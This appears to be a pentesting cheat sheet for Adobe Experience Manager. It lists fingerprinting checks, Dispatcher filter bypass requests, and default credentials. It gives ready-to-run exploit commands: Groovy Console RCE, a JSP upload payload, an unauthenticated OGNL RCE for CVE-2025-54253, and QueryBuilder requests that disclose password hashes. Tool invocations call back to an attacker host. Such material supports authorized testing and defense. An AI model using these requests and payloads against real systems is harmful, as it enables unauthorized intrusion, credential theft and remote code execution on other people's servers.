AEM (Adobe Experience Manager) Pentesting

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Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) is an enterprise CMS that runs on top of Apache Sling/Felix (OSGi) and a Java Content Repository (JCR).
From an attacker perspective AEM instances very often expose dangerous development endpoints, weak Dispatcher rules, default credentials and a long tail of CVEs that are patched every quarter.

The checklist below focuses on externally reachable (unauth) attack surface that keeps showing up in real engagements (2022-2026).

1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Other quick indicators:
* /etc.clientlibs/ static path present (returns JS/CSS).
/libs/granite/core/content/login.html login page with the “Adobe Experience Manager” banner.
</script> comment at the bottom of HTML.

2. High-value unauthenticated endpoints

Dispatcher bypass tricks (still working in 2025/2026)

Most production sites sit behind the Dispatcher (reverse-proxy). Filter rules are frequently bypassed by abusing encoded characters or allowed static extensions.

Classic semicolon + allowed extension

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

3. Common misconfigurations (still alive in 2026)

1. Anonymous POST servlet – POST /.json with :operation=import lets you plant new JCR nodes. Blocking *.json POST in the Dispatcher fixes it.
2. World-readable user profiles – default ACL grants jcr:read on /home/users/**/profile/* to everyone.
3. Default credentials – admin:admin, author:author, replication:replication.
4. WCMDebugFilter enabled ⇒ reflected XSS via ?debug=layout (CVE-2016-7882, still found on legacy 6.4 installs).
5. Groovy Console exposed – remote code execution by sending a Groovy script:
   

   curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
   

6. Dispatcher encoded-slash gap – /bin/querybuilder.json and /etc/truststore.json reachable with %2f/%3B even when blocked by path filters.
7. AEM Forms Struts devMode left enabled – /adminui/debug?expression= evaluates OGNL without auth (CVE-2025-54253) leading to unauth RCE; paired XXE in Forms submission (CVE-2025-54254) allows file read.

4. Recent vulnerabilities (service-pack cadence)

Always check the APSB bulletin matching the customer’s service-pack and push for the latest 6.5.24 (Nov 26, 2025) or Cloud Service 2025.12. AEM Forms on JEE requires its own add-on hotfix 6.5.0-0108+.

5. Exploitation snippets

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

5.2 SSRF to RCE (historical < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py from aem-hacker automates the full chain.

5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

6. Tooling

• aem-hacker – Swiss-army enumeration script, supports dispatcher bypass, SSRF detection, default-creds checks and more.
  

  python3 aem_hacker.py -u https://target --host attacker-ip
  

• Tenable WAS plugin 115065 – Detects QueryBuilder hash disclosure & encoded-slash bypass automatically (published Dec 2025).
• Content brute-force – recursively request /_jcr_content.(json|html) to discover hidden components.
• osgi-infect – upload malicious OSGi bundle via /system/console/bundles if creds available.

References

• Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
• BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)
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